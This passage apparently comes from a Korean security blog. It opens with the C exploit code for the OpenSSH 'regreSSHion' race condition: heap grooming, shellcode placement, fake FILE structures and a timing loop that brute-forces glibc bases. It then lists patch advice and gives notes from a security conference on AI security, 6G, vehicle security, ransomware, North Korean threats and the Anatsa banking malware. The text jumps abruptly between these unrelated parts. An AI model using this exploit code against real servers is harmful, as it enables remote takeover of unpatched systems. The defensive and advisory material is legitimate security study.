uint64_t glibc_base)
{
memset (packet, 0, size);
size_t offset = 0;
for (int i = 0; i < 27; i++)
{
// malloc(~4KB) - This is for the large hole
*(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);
offset += CHUNK_ALIGN (4096);
// malloc(304) - This is for the small hole (potential FILE structure)
*(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);
offset += CHUNK_ALIGN (304);
}
// Add necessary headers for the SSH public key format
memcpy (packet, "ssh-rsa ", 8);
// Place shellcode in the heap via previous allocations
memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13, shellcode,
sizeof (shellcode));
// Set up the fake FILE structures within the packet
for (int i = 0; i < 27; i++)
{
create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)
+ CHUNK_ALIGN (304) * i,
CHUNK_ALIGN (304), glibc_base);
}
}
int
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{
unsigned char final_packet[MAX_PACKET_SIZE];
create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);
// Send all but the last byte
if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
{
perror ("send final packet");
return 0;
}
// Precise timing for last byte
struct timespec start, current;
clock_gettime (CLOCK_MONOTONIC, &start);
while (1)
{
clock_gettime (CLOCK_MONOTONIC, ¤t);
double elapsed = (current.tv_sec - start.tv_sec)
+ (current.tv_nsec - start.tv_nsec) / 1e9;
if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
{ // 1ms before SIGALRM
if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)
{
perror ("send last byte");
return 0;
}
break;
}
}
// Check for successful exploitation
char response[1024];
ssize_t received = recv (sock, response, sizeof (response), 0);
if (received > 0)
{
printf ("Received response after exploit attempt (%zd bytes)\n",
received);
// Analyze response to determine if we hit the "large" race window
if (memcmp (response, "SSH-2.0-", 8) != 0)
{
printf ("Possible hit on 'large' race window\n");
return 1;
}
}
else if (received == 0)
{
printf (
"Connection closed by server - possible successful exploitation\n");
return 1;
}
else if (errno == EWOULDBLOCK || errno == EAGAIN)
{
printf ("No immediate response from server - possible successful "
"exploitation\n");
return 1;
}
else
{
perror ("recv");
}
return 0;
}
int
perform_exploit (const char *ip, int port)
{
int success = 0;
double parsing_time = 0;
double timing_adjustment = 0;
for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
{
uint64_t glibc_base = GLIBC_BASES[base_idx];
printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
for (int attempt = 0; attempt < 10000 && !success; attempt++)
{
if (attempt % 1000 == 0)
{
printf ("Attempt %d of 10000\n", attempt);
}
int sock = setup_connection (ip, port);
if (sock < 0)
{
fprintf (stderr, "Failed to establish connection, attempt %d\n",
attempt);
continue;
}
if (perform_ssh_handshake (sock) < 0)
{
fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
close (sock);
continue;
}
prepare_heap (sock);
time_final_packet (sock, &parsing_time);
// Implement feedback-based timing strategy
parsing_time += timing_adjustment;
if (attempt_race_condition (sock, parsing_time, glibc_base))
{
printf ("Possible exploitation success on attempt %d with glibc "
"base 0x%lx!\n",
attempt, glibc_base);
success = 1;
// In a real exploit, we would now attempt to interact with the
// shell
}
else
{
// Adjust timing based on feedback
timing_adjustment += 0.00001; // Small incremental adjustment
}
close (sock);
usleep (100000); // 100ms delay between attempts, as mentioned in the
// advisory
}
}
return success;
}
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [8]
영향받는 버전
해결 버전
OpenSSH 4.4p1 이전 버전
9.8p1
OpenSSH 8.5p1 ~ 9.8p1 이전 버전
* 4.4p1 이전 버전: CVE-2006-5051, CVE-2008-4109 취약점에 대한 패치가 되어 있을 경우 안전 * 4.4p1 ~ 8.5p1 이전 버전: CVE-2006-5051 취약점 패치가 적용되어 있을 경우 안전 * 8.5p1 ~ 9.8p1 이전 버전: 9.8p1 버전으로 업데이트 적용 * 오픈BSD(OpenBSD) 시스템들은 전부 안전하다.
- 기타 > SSH에 대한 접근 제어, 로그 모니터링 > LoginGraceTime 시간 수정 > OpenSSH regreSSHion 취약점 여부 확인 스크립트 활용 [9]
- 과학 협력 강조는 새로운 난관과 위협에 대응하고자하는 포괄적 국제 협력 전략의 일부 > 현실, 사이버 공간, 주요 신흥 기술 분야에서 급증하는 위협에 직면 > 오늘날의 디지털 공간은 경계가 없어 한 국가의 위협이 인접국으로 쉽게 퍼져나감 > 무수히 만은 위협이 시스템을 노리기에 신흥 기술을 사용한 해결책을 만들고, 이를 활용하고자 협력 > 동맥국과 긴밀한 협력만이 진화하는 위협과 보안 문제에 맞서는 환경을 만들 수 있음 > 협력만이 제한된 자원의 우선 순위를 정하는 난제를 해결하고, 이해관계자 및 사용자의 요구에 부응할 수 있음 > 그러나, 신흥 기술로 인해 새로운 종류의 위협 또한 나타날 것이며 기존의 방식으로 타파할 수 없음(Ex. AI, 5~7G, 양자 기술 등) > 누구든, 언제 어디서든 범죄를 자행할 수 있으므로 보안과 신흥기술을 면밀히 파악해 정부의 역할을 정해야 함
- 우리는 기술의 발달로 디지털 전환이 이루어졌고, 기회가 될 수도 위기가 될 수도 있음 > AI가 가져오는 보안과 관련된 문제에대해(사이버 시큐리티 측면에서의 장점 VS 공격자들의 악용) 고려 필요 > Github 등에 등록된 여러 오픈 소스 AI S/W 중 상당히 많은 악성코드와 백도어가 숨겨져 있음을 알고있음 > 중국, 러시아, 북한이 주요 위협 대상이며, 러시아의 전쟁을 통한 사이버전 경험이 북한에 전수될 경우 더 큰 위협이 될 것 > 따라서, 디지털 전환이 가속될수록 보안 문제는 더 커질 것임
- 디지털 전환은 보안과 회복성이 중요 > 국가 주요 인프라의 회복성은 매우 중요 > 디지털 세계는 더욱 복잡하게 얽혀서 취약점이 드러나고 있음 > 보안은 기본화하는것이 핵심이며, 타이밍이 문제 > 각국의 정부가 상충하거나 중복된 규제 요건으로 인해 혁신과 기술적 이점을 놓치지 않도록 적절한 국제 협력 필요
- 공세적, 자주적 사이버 안보의 필요 > 사이버전은 결국 육해공, 우주를 상관없이 모든 것을 포괄 > 사이버 전쟁의 핵심은 공격 원점 식별 > 원점 식별에 패턴 유사성 등을 통해 식별할 수 있으나 위조가 가능하므로 선제적 방어, 공세적 역량이 중요함 > 또한, 사이버 전을 수행하기 위한 무기, 즉 S/W가 안전한지 확신할 수 없으므로 무기를 스스로 만들어 유사시 대응 필요
2. 정보보호의 미래전략
2.1 생성형 AI의 확산과 보안 방법
- 생성형 AI 보안 이슈 > AI 시대의 잠재적 위험(부정확성, 사이버 보안, 지적재산권 침해)애 대처하지 못하고 있음 > 딥페이크, 가짜 정보 제공, 가짜 뉴스, 편향성. 오남용, 저작권 이슈 등
- 생성형 AI 보안이슈 완화방안
Prompt Defense
Data Isolation
Instructional Prevention
Sandwich Defense
Few-shot
Encoding&Decoding
Latest Defense
Llama-Guard 2 System Prompt
Semantic Smoothing
PARDEN
Disguiser
Bottleneck
LLM Unlearning
- 조직의 AI 사용 시 유의 사항 > AI 사용 목적과 범위, 한계 등의 규정과 안전한 사용을 위한 보안 교육 실시 > 요구 사항, 위험/위협/영향도, 사용 가능 분야, 정책, 체계, 교육, 징계 등 > 가짜 AI와 브라우저 확장 프로그램 주의, 민감 정보 입력 금지, 결과 검증, 편향성 인식, 철저한 검토 등
2.2 초연결 시대의 6G 보안
- 미국, 한국, 영국. 일본 등 9개국 6G 원칙을 지지하는 공동 성명 발표 - 한국: 12대 국가전략기술 로드맵 완성 및 핵심 프로젝트 선정
- 6G: 지상~우주 네트워크 통합 > 6G 구현에 있어 보안 및 회복력 강조 > 6G 보안 비전: 자동화, 신뢰성, 프라이버시, 안전성, 개방성
- 6G 보안을 위한 핵심 요소 기술 > Zero-Trust, Blockchain, AI/ML, PET/DPKI, PQC/QKD
2.3 모빌리티 보안의 미래
- SDV(Software-Defined Vehicle) > 기존 S/W에서 발생할 수 있는 보안 취약점과 위협을 지님 > 22.07부터 WP.29(국제 자동차 사이버보안 법규)시행됨에 따라 법규 준수 요구
- UNECE WP.29 > 자동차 사이버보안 및 소프트웨어 업데이트(CS/OTA)에 대한 보안 항목들을 요구 > 완성차 업체는 CSMS(사이버보안 관리체계)인증 및 형식 승인(제품검증테스트)을 충족해야만 차량 판매 가능
- ISO 21434(CSMS) 표준 > 자동차 사이버보안 엔지니어링 국제표준
3. 글로벌 보안 위협 대응 전략
3.1 Ransomware ran somewhere 2024
- 랜섬웨어는 데이터 유출 및 암호화 후 금전을 요구 > 최근 공격 후 흔적을 지우고 조사에 혼선을 주기위해 랜섬웨어를 이용
> 현재까지 알려진 랜섬웨어는 약 1,200개이며 계속해서 새로운 렌섬웨어가 등장
- 24년에도 피해 기관 및 업체는 꾸준히 발생 중
> 협박금 지불 기업 감소 추세
> 공격자들은 RaaS, 소스 코드 판매 등으로 수익을 얻음
> 노출 포트, 취약점을 악용하며, 새로운 언어(Go, Rust, Nim) 또는 BYOYD 기법을 활용
> 특정 산업을 타겟하거나 사칭하여 유포하며, 공격 그룹간 협업
- 각 국각의 대응 강화
> CRI(Counter Ransomware Initiative, 국제 협의체)
> 국가간 또는 사법 당국의 협업으로 범죄자 체포
> 복호화키 공개, 정보 공유 등
- 백업, 출처 불분명 메일 등 열람 금지, 백신 활용, 보안 로그 점검 등 수칙 준수
3.2 실제 사례기반 북한발 사이버 위협 동향
- 23년 하루 평균 162만건의 공격 시도가 공공기관에 발생하였으며, 80% 이상이 북한 소행
- 국경을 초월한 사이버 안보 위협 일상화
> 국가간 사이버 위협 증대와 고도화된 공격 지속 등장 및 일상화
> Zero-Day 취약점 발굴 및 맞춤형 표적 공격
> 사회 혼란 및 국가 기반 시설 침투를 위한 사이버 위협의 중대 우려
> 범 국가적 민, 관 사이버 위협 인텔리전스 협력 체계 지속 강화
- 차세대 통합 보안 플랫폼 구출 필요
> EDR, CTI 기반 최신 위협 탐지를 가시성 있게 효율적으로 통합 운영 필요
> 자동화된 플랫폼 형태의 멀티 위협 대응 체계로 지능적 감시 강화 필요
> 차세대 보안 기술에 대한 지속적 관심과 투자는 필수
> 현장 실무형 전무가 양성 및 기존 보안 인력 처우 개선
3.3 글로벌 해킹 조직의 움직임과 우리의 대응 방향
- 공격자들의 목적: 금전적 이득 - 새로운 기술은 공격에 새로운 옵션이 등장하는 것
- 일반적인 대응: 최신의 패치 상태 유지 > (기업 및 기관에서) 모든 소프트웨어에 대한 빠르고 안정적인 패치 적용은 쉽지 않음
- 100% 확정적으로 맞서는 것은 불가능 > 상호 보완적인 보안 역량 강화 및 이를 위한 인력 보유가 필요
- 정상 앱을 가장해 구글 플레이를 통해 유포되는 금융 정보 탈취 악성앱 Anatsa - 최근 국내 금융 분야를 대상으로 공격 범위를 확대하고 있어 주의 요구
내용
- Anatsa > 21년 초 유럽 금융 앱을 대상으로 금융정보 탈취 공격을 시작한 안드로이드 기반 악성 앱 > 정상 서비스로 위장해(PDF 리더, QR코드 스캐너 등) 구글 플레이 스토어를 통해 유포 > 스마트폰에 설치되면, 앱 업데이트를 가장해 Anatsa 악성 앱이 다운로드 및 설치
> C2 서버의 명령에 따라 데이터 탈취(스크린샷, 문자, 인증코드 등) 및 스마트폰 제어(화면잠금 해제, 화면 터치, 값 입력 등) > 탈취한 데이터는 C2 서버로 전송
- 최근 국내 금융을 대상으로 공격 범위 확대 > 24.06 기준 한국 포함 54개 국가의 금융·핀테크·가상화폐 등 688개 앱이 금융정보 탈취 대상에 포함된 것을 확인
- Anatsa 악성 앱은 접근성 권한을 악용 > Anatsa 악성 앱 실행 시 사용자에게 접근성 권한 활성화 안내 화면 표시 > 접근 권한이 활성화되면, 실행되는 앱 또는 동작을 탐지하고, 입출력 값을 확인하거나 버튼을 클리하는 등의 기능 악용 > 특히 키로깅, 오버레이 공격을 활용해 금융정보를 탈취 > 또한, 모바일 백신·클리너 실행을 방지하고, 종료나 설정 메뉴 접근을 차단해 악성 앱이 종료 또는 삭제되는 것을 막음
- 유의사항 > 앱 설치 전 사용자 리뷰, 약관, 포럼 등을 확인 > 앱 실행에 필요하지 않는 권한 비활성화 > 출처를 알 수 없는 앱 설치 비활성화 > 최신 버전의 OS 사용 및 보안 업데이트 수행 > 최신 버전의 모바일 백신 사용 및 주기적인 검사 수행 ※ 스마트폰에 악성 앱이 설치된 경우 스마트폰을 안전모드로 부팅한 후 악성 앱을 제거할 수 있음